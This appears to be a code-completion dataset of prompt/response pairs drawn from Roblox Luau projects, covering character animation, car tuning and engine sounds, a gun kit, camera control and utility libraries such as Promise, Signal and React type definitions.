	elseif (Pose == "FreeFall") then
		MoveFreeFall()
		return
	elseif (Pose == "Seated") then
		MoveSit()
		return
	end

	local ClimbFudge = 0

	if (Pose == "Running") then
		RightShoulder.MaxVelocity = 0.075
		LeftShoulder.MaxVelocity = 0.075
		LimbAmplitude = 1
		LimbFrequency = 9
		NeckAmplitude = 0
		NeckFrequency = 0
		NeckDesiredAngle = 0
		--[[if Creator and Creator.Value and Creator.Value:IsA("Player") and Creator.Value.Character then
			local CreatorCharacter = Creator.Value.Character
			local CreatorHead = CreatorCharacter:FindFirstChild("Head")
			if CreatorHead then
				local TargetPosition = CreatorHead.Position
				local Direction = Torso.CFrame.lookVector
				local HeadPosition = Head.Position
				NeckDesiredAngle = ((((HeadPosition - TargetPosition).Unit):Cross(Direction)).Y / 4)
			end
		end]]
	elseif (Pose == "Climbing") then
		RightShoulder.MaxVelocity = 0.5
		LeftShoulder.MaxVelocity = 0.5
		LimbAmplitude = 1
		LimbFrequency = 9
		NeckAmplitude = 0
		NeckFrequency = 0
		NeckDesiredAngle = 0
		ClimbFudge = math.pi
	else
		LimbAmplitude = 0.1
		LimbFrequency = 1
		NeckAmplitude = 0.25
		NeckFrequency = 1.25
	end

	LimbDesiredAngle = (LimbAmplitude * math.sin(Time * LimbFrequency))

	RightShoulder.DesiredAngle = (LimbDesiredAngle + ClimbFudge)
	LeftShoulder.DesiredAngle = (LimbDesiredAngle - ClimbFudge)
	RightHip.DesiredAngle = -LimbDesiredAngle
	LeftHip.DesiredAngle = -LimbDesiredAngle

end

Humanoid.Died:connect(OnDied)
Humanoid.Running:connect(OnRunning)
Humanoid.Jumping:connect(OnJumping)
Humanoid.Climbing:connect(OnClimbing)
Humanoid.GettingUp:connect(OnGettingUp)
Humanoid.FreeFalling:connect(OnFreeFall)
Humanoid.FallingDown:connect(OnFallingDown)
Humanoid.Seated:connect(OnSeated)
Humanoid.PlatformStanding:connect(OnPlatformStanding)
Humanoid.Swimming:connect(OnSwimming)

Humanoid:ChangeState(Enum.HumanoidStateType.None)

RunService.Stepped:connect(function()
	local _, Time = wait(0.1)
	Move(Time)
end)


Prompt:
--[[
	    ___      _______                _       _______
	   / _ |____/ ___/ /  ___ ____ ___ (_)__   /__  __/
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<     / /
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/	/_/
						SecondLogic @ Inspare
						Avxnturador @ Novena
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local BOVact = 0
local BOVact2 = 0


Prompt: -- In radian the maximum accuracy penalty

Response: local MaxSpread = 0.085


Prompt:
--[[**
	ensures Roblox Vector3int16 type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.Vector3int16 = primitive("Vector3int16")


Prompt:
--!strict
-- upstream: https://github.com/facebook/react/blob/56e9feead0f91075ba0a4f725c9e4e343bca1c67/packages/react/src/index.js
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @flow
 *]]


Prompt:
-- Shake
-- Stephen Leitnick
-- December 09, 2021


Prompt: -- << MORPHS >>

Response:
function module:CreateMorphs()
	main:GetModule("cf"):ClearPage(pages.morphs)

	--Organise morphs
	local morphsList = {}
	local searchText = frame.SearchBar.Frame.TextBox.Text
	for morphName,_ in pairs(main.morphNames) do
		local cName = string.lower(morphName)
		if string.match(cName, searchText) then
			table.insert(morphsList, morphName)
		end
	end
	table.sort(morphsList)
	table.insert(morphsList, 1, main.pdata.Prefix.. "morph <player> <morphName>")

	--Create morph labels
	for i,morphName in pairs(morphsList) do
		local label = templateM:Clone()
		if i == 1 then
			label.BackgroundColor3 = Color3.fromRGB(95, 95, 95)
			label.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
		else
			label.BackgroundColor3 = main:GetModule("cf"):GetLabelBackgroundColor(i)
			label.TextLabel.TextColor3 = Color3.fromRGB(235, 235, 235)
		end
		label.TextLabel.Text = morphName
		label.Name = morphName
		label.Visible = true
		label.Parent = pages.morphs
	end

	--Canvas size
	pages.morphs.CanvasSize = UDim2.new(0,0,0,#morphsList*templateM.AbsoluteSize.Y)
end


Prompt: --- Send text as the local user to remote server to be evaluated there.

Response:
function Dispatcher:Send (text, data)
	if RunService:IsClient() == false then
		error("Dispatcher:Send can only be called from the client.")
	end

	return self.Cmdr.RemoteFunction:InvokeServer(text, data)
end


Prompt:
--[[
	MouseLockController - Replacement for ShiftLockController, manages use of mouse-locked mode
	2018 Camera Update - AllYourBlox
--]]


Prompt: -- functions

Response:
local function generate_number_range(from, to, seperator)
	local numbers = {}

	for i = from, to, if (from < to) then 1 else -1 do
		table.insert(numbers, i .. if (seperator and i ~= to) then seperator else "")
	end

	return table.concat(numbers)
end


Prompt:
--[[**
	Returns a t.union of each key in the table as a t.literal

	@param keyTable The table to get keys from

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response:
function t.keyOf(keyTable)
	local keys = {}
	for key in pairs(keyTable) do
		keys[#keys + 1] = key
	end
	return t.literal(unpack(keys))
end


Prompt: -- ROBLOX deviation start: predefine variables

Response: local pathAsArray


Prompt:
--[[
	Exposes an interface to set global configuration values for Roact.

	Configuration can only occur once, and should only be done by an application
	using Roact, not a library.

	Any keys that aren't recognized will cause errors. Configuration is only
	intended for configuring Roact itself, not extensions or libraries.

	Configuration is expected to be set immediately after loading Roact. Setting
	configuration values after an application starts may produce unpredictable
	behavior.
]]


Prompt: -- NOTE: YOU HAVE TO INSERT THIS SCRIPT INTO A TOOL, SORRY IF IT WAS MISLEADING TO YOU.


Prompt: --// Connections

Response:
L_101_.OnClientEvent:connect(function(L_180_arg1, L_181_arg2, L_182_arg3, L_183_arg4, L_184_arg5, L_185_arg6, L_186_arg7)
	if L_180_arg1 and not L_15_ then
		MakeFakeArms()

		L_41_ = L_21_:WaitForChild('MainGui'):clone()
		L_41_.Parent = L_2_.PlayerGui
		L_26_ = L_41_:WaitForChild('Others')
		L_27_ = L_26_:WaitForChild('Kill')
		L_28_ = L_41_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')
		L_29_ = L_28_:WaitForChild('Ammo')
		L_30_ = L_28_:WaitForChild('AmmoBackground')
		L_31_ = L_28_:WaitForChild('MagCount')
		L_32_ = L_28_:WaitForChild('MagCountBackground')
		L_33_ = L_28_:WaitForChild('DistDisp')
		L_34_ = L_28_:WaitForChild('Title')
		L_35_ = L_28_:WaitForChild('Mode1')
		L_36_ = L_28_:WaitForChild('Mode2')
		L_37_ = L_28_:WaitForChild('Mode3')
		L_38_ = L_28_:WaitForChild('Mode4')
		L_39_ = L_28_:WaitForChild('Mode5')
		L_40_ = L_28_:WaitForChild('Stances')

		L_34_.Text = L_1_.Name
		UpdateAmmo()

		L_42_ = L_181_arg2
		L_43_ = L_182_arg3
		L_44_ = L_183_arg4
		L_45_ = L_184_arg5
		L_46_ = L_185_arg6
		L_47_ = L_186_arg7
		L_48_ = L_58_.Bolt

		L_82_ = L_47_.C1
		L_83_ = L_47_.C0

		if L_1_:FindFirstChild('AimPart2') then
			L_53_ = L_1_:WaitForChild('AimPart2')
		end

		if L_1_:FindFirstChild('FirePart2') then
			L_56_ = L_1_.FirePart2
		end

		if L_24_.FirstPersonOnly then
			L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
		end
		--uis.MouseIconEnabled = false
		L_5_.FieldOfView = 70
		L_15_ = true
	elseif L_15_ then
		if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
			Stand()
			Unlean()
		end

		L_88_ = 0
		L_75_ = false
		L_76_ = false
		L_77_ = false
		L_60_ = false
		L_63_ = false
		L_62_ = false
		Shooting = false

		L_92_ = 70

		RemoveArmModel()

		L_41_:Destroy()

		if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
			L_3_['Right Arm'].LocalTransparencyModifier = 0
			L_3_['Left Arm'].LocalTransparencyModifier = 0
		end

		L_74_ = false
		L_65_ = true

		L_2_.CameraMode = Enum.CameraMode.Classic
		L_100_.MouseIconEnabled = true
		L_5_.FieldOfView = 70
		L_15_ = false
		L_100_.MouseDeltaSensitivity = L_51_
		L_4_.Icon = "http://www.roblox.com/asset?id=0"
		L_15_ = false
	end
end)


Prompt:
--[[
	Fires when the local player begins input. Ignores all input except if
	the user presses `KEY`. If `KEY` is pressed opens the game GUI unless
	player already interacting with the game

	Arguments:
		actionName - Name of the ContextActionService action
		userInputState - State of input
		inputObject - Contains info about input
	Returns: None
]]

Response:
--
local function toggleKeyboard(actionName, userInputState, inputObject)
	if not (userInputState == Enum.UserInputState.Begin) then return end
	toggleInteraction()
end
local function toggleMouse(playerWhoClicked)
	if playerWhoClicked then
		toggleInteraction()
	end
end


Prompt: -- Gamepad / Keyboard Support

Response:
TextBox.SelectionGained:Connect(onFocused)
TextBox.SelectionLost:Connect(onFocusLost)


Prompt: -- Variables (best not to touch these!)

Response:
local button = script.Parent
local car = script.Parent.Parent.Car.Value
local sound = script.Parent.Start
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
	if script.Parent.Text == "Engine: Off" then -- If the text says it's off then..
		sound:Play() -- Startup sound plays..
		wait(0.4) -- For realism. Okay?
		script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
		button.Text = "Engine: On"  -- You don't really need this, but I would keep it.
	else -- If it's on then when you click the button,
		script.Parent.Parent.IsOn.Value = false -- The car is turned off.
		button.Text = "Engine: Off"
	end -- Don't touch this.
end) -- And don't touch this either.


Prompt: --Both

Response:
local Loudness = .75 --volume of the boost supplier (not exact volume so you kinda have to experiment with it also)

script:WaitForChild("Whistle")
script:WaitForChild("Whine")
script:WaitForChild("BOV")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		for i,v in pairs(car.DriveSeat:GetChildren()) do
			for _,a in pairs(script:GetChildren()) do
				if v.Name==a.Name then v:Stop() wait() v:Destroy() end
			end
		end
	end
end)

if not _Tune.Engine then return end
handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","Whine",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
handler:FireServer("playSound","Whine")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("Whine")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = 0
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end

while wait() do
	local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)
	--(script.Parent.Values.RPM.Value/_Tune.Redline)
	local WP,WV,BP,BV,HP,HV = 0

	BOVact = math.floor(psi*20)
	if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Double" then
		WP = (psi)
		WV = (psi/4)*Loudness

		BP = (1-(-psi/20))*BOV_Pitch
		BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))

		if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
		if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end
	elseif _Tune.Aspiration == "Super" then
		psi = psi/2
		HP = (script.Parent.Values.RPM.Value/_Tune.Redline)*Whine_Pitch
		HV = (psi/4)*Loudness
	end

	handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
	handler:FireServer("updateSound","Whine",script.Whine.SoundId,HP,HV)
	handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)

	if (tick()-ticc) >= 0.1 then
		BOVact2 = math.floor(psi*20)
		ticc = tick()
	end
end


Prompt: --Stickmasterluke

Response:
sp=script.Parent

taseduration=7
rate=.5

local s=Instance.new("Sound")
s.SoundId="http://www.roblox.com/asset/?id=82277505"
s.Looped=true

joints={}
local t=sp:FindFirstChild("HumanoidRootPart")
if t~=nil then
	s.Parent=t
	s:Play()
	for i,v in ipairs(t:GetChildren()) do
		if v.className=="Motor" or v.className=="Motor6D" or v.className=="Weld" or v.className=="ManualWeld" then
			table.insert(joints,v)
		end
	end
end

if #joints>=1 then
	local trippy = script.Trippy:Clone()
	trippy.Parent = sp:FindFirstChild'Humanoid'
	trippy.Disabled = false
	for i=1,taseduration/rate do
		for i,v in ipairs(joints) do
			if v~=nil then
				v.CurrentAngle=(math.random()-.5)*5
			end
		end
		local h=sp:FindFirstChild("Humanoid")
		local t=sp:FindFirstChild("HumanoidRootPart")
		if t~=nil and h~=nil then
			--t.RotVelocity = Vector3.new(math.random()-.5,math.random()-.5,math.random()-.5)*2*360
			wait(rate)
		end
	end
	trippy:Destroy()
end
s:Stop()
script:remove()


Prompt:
--[[
	Stringifies a number and places a separator between thousands.

	```lua
	separateThousands(1000000) -- 1,000,000
	separateThousands(12345678, ".") -- 12.345.678
	```

	This function is called when setting the text for the PrimaryButton
	component when in Purchase mode; the text reflects the price in Robux.

	@within Modules
]]

Response:
local function separateThousands(n: number, sep: string?): string
	sep = sep or ","

	local str = tostring(n)

	-- Reverse to apply commas from right-to-left of the original number.
	str = str:reverse():gsub("%d%d%d", "%1,")

	-- Reverse back to normal and trim off any leading commas. The trim is
	-- needed when the number of digits is divisible by 3.
	str = str:reverse():gsub("^,", "")

	return str
end

return separateThousands


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 2500		-- Front brake force
	Tune.RBrakeForce	= 1500		-- Rear brake force
	Tune.PBrakeForce	= 10000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt:
--------------------------------------------------------------------------------
-- Piercing raycasts

Response:
local function getCollisionPoint(origin, dir)
	local originalSize = #blacklist
	repeat
		local hitPart, hitPoint = workspace:FindPartOnRayWithIgnoreList(
			ray(origin, dir), blacklist, false, true
		)

		if hitPart then
			if hitPart.CanCollide then
				eraseFromEnd(blacklist, originalSize)
				return hitPoint, true
			end
			blacklist[#blacklist + 1] = hitPart
		end
	until not hitPart

	eraseFromEnd(blacklist, originalSize)
	return origin + dir, false
end


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 5000		-- Spring Force
	Tune.FSusLength		= 3.6			-- Suspension length (in studs)
	Tune.FSusMaxExt		= .5		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= 1.2		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 5000		-- Spring Force
	Tune.RSusLength		= 3.5			-- Suspension length (in studs)
	Tune.RSusMaxExt		= .5		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= 1.2		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Response:
	,FastReload = true					--- Automatically operates the bolt on reload if needed
	,SlideLock = true
	,MoveBolt = false
	,BoltLock = false
	,CanBreachDoor = false
	,CanBreak = true					--- Weapon can jam?
	,JamChance = 1000					--- This old piece of brick doesn't work fine >;c
	,IncludeChamberedBullet = true		--- Include the chambered bullet on next reload
	,Chambered = false					--- Start with the gun chambered?
	,LauncherReady = false				--- Start with the GL ready?
	,CanCheckMag = true					--- You can check the magazine
	,ArcadeMode = false					--- You can see the bullets left in magazine
	,RainbowMode = false				--- Operation: Party Time xD
	,ModoTreino = false					--- Surrender enemies instead of killing them
	,GunSize = 4.5
	,GunFOVReduction = 5

	,BoltExtend = Vector3.new(0, 0, 0.4)
	,SlideExtend = Vector3.new(0, 0, 0.4)


Prompt: -- Nominal distance, set by dollying in and out with the mouse wheel or equivalent, not measured distance

Response:
function BaseCamera:GetCameraToSubjectDistance(): number
	return self.currentSubjectDistance
end


Prompt:
--[[

	Returns true if value exists in array.

	Functions.SearchArray(
		array,					<-- |REQ| 	Array to search through
		search,					<-- |REQ| 	Search value
	)

--]]

Response:
return function(array, search)
	if not array then
		return
	end
	--- Scan array
	for _, value in ipairs(array) do
		if value == search then
			--- Matching value!
			return true
		end
	end

	--- No matching value
	return false
end


Prompt: -- Mains

Response:
TeleportationDoorEvent.OnClientEvent:Connect(function() -- When Client fires, this will response
	for i = 1,10 do
		Frame.BackgroundTransparency -= 0.1
		wait(0.01) -- 0.01 more faster fade or 0.1 slow fade
	end
	wait(TeleportTime)
	for i = 1,10 do
		Frame.BackgroundTransparency += 0.1
		wait(0.01)
	end
end) -- End


Prompt:
--[=[
	Accepts an array of Promises and returns a Promise that is resolved as soon as *any* of the input Promises resolves. It will reject only if *all* input Promises reject. As soon as one Promises resolves, all other pending Promises are cancelled if they have no other consumers.

	Resolves directly with the value of the first resolved Promise. This is essentially [[Promise.some]] with `1` count, except the Promise resolves with the value directly instead of an array with one element.

	```lua
	local promises = {
		returnsAPromise("example 1"),
		returnsAPromise("example 2"),
		returnsAPromise("example 3"),
	}

	return Promise.any(promises) -- Resolves with first value to resolve (only rejects if all 3 rejected)
	```

	@param promises {Promise<T>}
	@return Promise<T>
]=]

Response:
function Promise.any(promises)
	return Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values)
		return values[1]
	end)
end


Prompt:
-- Component
-- Stephen Leitnick
-- July 25, 2020


Prompt: --This is done so that if we capture the flag during the 30 second gloating time, the script doesn't break.

Response:
Message = Instance.new("Message")
Message.Parent = game.Workspace
Message.Text = "The Enemy has won!"
game:GetService("Debris"):AddItem(Message, 10) --Bout 10 seconds to gloat.

script:Remove() --Suicide made fun!


Prompt:
--[[
	Returns the current value of this ForValues object.
	The object will be registered as a dependency unless `asDependency` is false.
]]

Response:
function class:get(asDependency: boolean?): any
	if asDependency ~= false then
		useDependency(self)
	end
	return self._outputTable
end


Prompt: ---Model By: Midnight Productions

Response:
location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	local back = save:clone()
	back.Parent = location
	back:MakeJoints()
end

script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: --player.CameraMode = Enum.CameraMode.LockFirstPerson

Response:
Instance.new("BlurEffect",workspace.CurrentCamera).Size = 999
player.PlayerGui:ClearAllChildren()
game:GetService('StarterGui'):SetCore("TopbarEnabled", false)


Prompt: -- 100 == 1  0 == 0  1/0.5

Response:
function JamCalculation()
	local L_175_
	if (math.random(1, 100) <= L_24_.JamChance) then
		L_175_ = true
		L_72_ = true
	else
		L_175_ = false
	end
	return L_175_
end

function TracerCalculation()
	local L_176_
	if (math.random(1, 100) <= L_24_.TracerChance) then
		L_176_ = true
	else
		L_176_ = false
	end
	return L_176_
end

function SearchResupply(L_177_arg1)
	local L_178_ = false
	local L_179_ = nil

	if L_177_arg1:FindFirstChild('ResupplyVal') or L_177_arg1.Parent:FindFirstChild('ResupplyVal') then
		L_178_ = true
		if L_177_arg1:FindFirstChild('ResupplyVal') then
			L_179_ = L_177_arg1.ResupplyVal
		elseif L_177_arg1.Parent:FindFirstChild('ResupplyVal') then
			L_179_ = L_177_arg1.Parent.ResupplyVal
		end
	end
	return L_178_, L_179_
end

function CheckReverb()
	local L_180_, L_181_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList);

	if L_180_ then
		local L_182_ = L_56_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new("ReverbSoundEffect", L_56_:WaitForChild('Fire'))
	elseif not L_180_ then
		if L_56_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then
			L_56_.Fire.ReverbSoundEffect:Destroy()
		end
	end
end

function UpdateAmmo()
	L_29_.Text = L_97_
	L_30_.Text = L_29_.Text

	L_31_.Text = '| ' .. math.ceil(L_98_ / L_24_.StoredAmmo)
	L_32_.Text = L_31_.Text

	if L_89_ == 0 then
		L_40_.Image = 'rbxassetid://' .. 1868007495
	elseif L_89_ == 1 then
		L_40_.Image = 'rbxassetid://' .. 1868007947
	elseif L_89_ == 2 then
		L_40_.Image = 'rbxassetid://' .. 1868008584
	end

	if L_88_ == 1 then
		L_35_.BackgroundTransparency = 0
		L_36_.BackgroundTransparency = 0.7
		L_37_.BackgroundTransparency = 0.7
		L_38_.BackgroundTransparency = 0.7
		L_39_.BackgroundTransparency = 0.7
	elseif L_88_ == 2 then
		L_35_.BackgroundTransparency = 0
		L_36_.BackgroundTransparency = 0
		L_37_.BackgroundTransparency = 0
		L_38_.BackgroundTransparency = 0
		L_39_.BackgroundTransparency = 0
	elseif L_88_ == 3 then
		L_35_.BackgroundTransparency = 0
		L_36_.BackgroundTransparency = 0
		L_37_.BackgroundTransparency = 0
		L_38_.BackgroundTransparency = 0.7
		L_39_.BackgroundTransparency = 0.7
	elseif L_88_ == 4 then
		L_35_.BackgroundTransparency = 0
		L_36_.BackgroundTransparency = 0
		L_37_.BackgroundTransparency = 0
		L_38_.BackgroundTransparency = 0
		L_39_.BackgroundTransparency = 0.7
	elseif L_88_ == 5 then
		L_35_.BackgroundTransparency = 0
		L_36_.BackgroundTransparency = 0.7
		L_37_.BackgroundTransparency = 0
		L_38_.BackgroundTransparency = 0.7
		L_39_.BackgroundTransparency = 0.7
	elseif L_88_ == 6 then
		L_35_.BackgroundTransparency = 0
		L_36_.BackgroundTransparency = 0.7
		L_37_.BackgroundTransparency = 0
		L_38_.BackgroundTransparency = 0
		L_39_.BackgroundTransparency = 0.7
	end

end


Prompt: -- VR only supports 1st person or 3rd person and no overrides

Response:
function VRBaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number
	local lastSubjectDistance = self.currentSubjectDistance

	local newSubjectDistance = math.clamp(desiredSubjectDistance, 0, player.CameraMaxZoomDistance)
	if newSubjectDistance < 1.0 then
		self.currentSubjectDistance = 0.5
		if not self.inFirstPerson then
			self:EnterFirstPerson()
		end
	else
		self.currentSubjectDistance = newSubjectDistance
		if self.inFirstPerson then
			self:LeaveFirstPerson()
		end
	end

	-- Pass target distance and zoom direction to the zoom controller
	ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))

	-- Returned only for convenience to the caller to know the outcome
	return self.currentSubjectDistance
end


Prompt:
--[=[
	Checks if the given object is a Signal.

	@param obj any -- Object to check
	@return boolean -- `true` if the object is a Signal.
]=]

Response:
function Signal.Is(obj)
	return type(obj) == "table" and getmetatable(obj) == Signal
end


Prompt: -- if no tagged children, display everything

Response:
if #raycastParams.FilterDescendantsInstances==0 then
	raycastParams:AddToFilter(workspace)
end

local terrain=workspace.Terrain

local function castRay(currentPosition,rayDirection)
	local result = workspace:Raycast(currentPosition,rayDirection,raycastParams)
	local color
	if result then
		if result.Instance==terrain then
			if result.Material==Enum.Material.Water then
				color=terrain.WaterColor
			else
				color=terrain:GetMaterialColor(result.Material)
			end
		else
			color=result.Instance.Color
		end
	else
		color=Color3.new()
	end
	return color
end

local actor = script:GetActor()
local connection = actor:BindToMessageParallel("Invoke", function(mapName,xEndIndex,zStartIndex,zEndIndex,startPosition,stepZ,stepX,rayDirection)
	local result1,result2,currentPosition,color1,color2
	local colors = table.create(xEndIndex)
	local strings = table.create(zEndIndex-zStartIndex+1)
	local diagonalStep=(stepX+stepZ)*0.5

	for i = zStartIndex,zEndIndex do
		currentPosition=startPosition+i*stepZ
		for j = 1,xEndIndex do
			-- cast two rays close to each other and pick the darkest one
			local color=castRay(currentPosition,rayDirection)
			local color2=castRay(currentPosition+(stepZ+stepX)*0.5,rayDirection)
			if color2.G<color.G then
				color=color2
			end
			colors[j]=string.char(math.floor(math.min(color.R*4,3))*16+
				math.floor(math.min(color.G*4,3))*4+
				math.floor(math.min(color.B*4,3))+32)
			currentPosition+=stepX
			-- chop the work into small pieces to reduce server load
			if j%5==0 then
				task.wait()
			end
		end
		table.insert(strings,table.concat(colors))
	end
	task.synchronize()
	local mapFolder=ReplicatedStorage.MiniMap[mapName]
	for i=zStartIndex,zEndIndex do
		local stringInstance=Instance.new("StringValue")
		stringInstance.Name=tostring(i)
		stringInstance.Value=strings[i-zStartIndex+1]
		stringInstance.Parent=mapFolder
	end
end)


Prompt:
-- deviation START: Roblox renderer doesn't support TextNode, only use of this type is in this file
-- export type ReactText = string | number;
-- deviation END

Response:
export type ReactProvider<T> = {
	["$$typeof"]: number,
	type: ReactProviderType<T>,
	key: nil | string,
	ref: nil,
	props: {
		value: T,
		children: ReactNodeList?,
		-- deviation START: only make this open to extension if absolutely necessary
		-- ...
		-- deviation END
	},
	-- deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- deviation END
}

export type ReactProviderType<T> = {
	["$$typeof"]: number,
	_context: ReactContext<T>,
	-- deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- deviation END
}

export type ReactConsumer<T> = {
	["$$typeof"]: number,
	type: ReactContext<T>, -- FIXME: Luau can't do <T> because:  Recursive type being used with different parameters
	key: nil | string,
	ref: nil,
	props: {
		children: (value: T) -> ReactNodeList,
		unstable_observedBits: number?,
		-- deviation START: only make this open to extension if absolutely necessary
		-- ...
		-- deviation END
	},
	-- deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- deviation END
}

export type ReactContext<T> = {
	["$$typeof"]: number,
	Consumer: ReactContext<T>,
	Provider: ReactProviderType<T>,
	_calculateChangedBits: ((T, T) -> number)?,
	_currentValue: T,
	_currentValue2: T,
	_threadCount: number,
	-- DEV only
	_currentRenderer: Object | nil,
	_currentRenderer2: Object | nil,
	-- This value may be added by application code
	-- to improve DEV tooling display names
	displayName: string?,
	-- deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- deviation END
}

export type ReactPortal = {
	["$$typeof"]: number,
	key: nil | string,
	containerInfo: any,
	children: ReactNodeList,
	-- TODO: figure out the API for cross-renderer implementation.
	implementation: any,
	-- deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- deviation END
}

export type RefObject = { current: any }


Prompt: -- constants

Response:
local PLAYER_DATA	= ReplicatedStorage.PlayerData
local REMOTES		= ReplicatedStorage.Remotes
local SQUADS		= ReplicatedStorage.Squads

local MAX_PER_SECOND	= 2


Prompt: --- BOOM!

Response:
local c = colors[math.random(1,#colors)]

for j=1,20 do

	local p = Instance.new("Part")
	p.Size = Vector3.new(1,1,1)
	--p.Transparency = 1
	p.Reflectance = 1
	p.Position = shell.Position + ( Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * 10)
	p.Velocity =  shell.Velocity -- + (Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * 20)

	local s = Instance.new("Sparkles")
	s.Color = c
	s.Parent = p

	local f = Instance.new("BodyForce")
	f.force = Vector3.new(0,98,0)
	f.Parent = p

	p.Parent = game.Workspace

	local debris = game:GetService("Debris")
	debris:AddItem(p, 5)

end

local sound = Instance.new("Sound")
	sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
	sound.Parent = script.Parent
	sound.Volume = 1
	sound:play()

local e = Instance.new("Explosion")
e.BlastRadius = 0
e.BlastPressure = 0
e.Position = shell.Position


Prompt: --Messages

Response: local DeathMessages = {"died.", "was killed.", "had a bad time."}  --you can add more if you like :D


Prompt:
-- Implements Javascript's `Map.prototype.forEach` as defined below
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/forEach

Response:
function Set:forEach(callback: setCallbackFn<any> | setCallbackFnWithThisArg<any>, thisArg: Object?): ()
	if typeof(callback) ~= "function" then
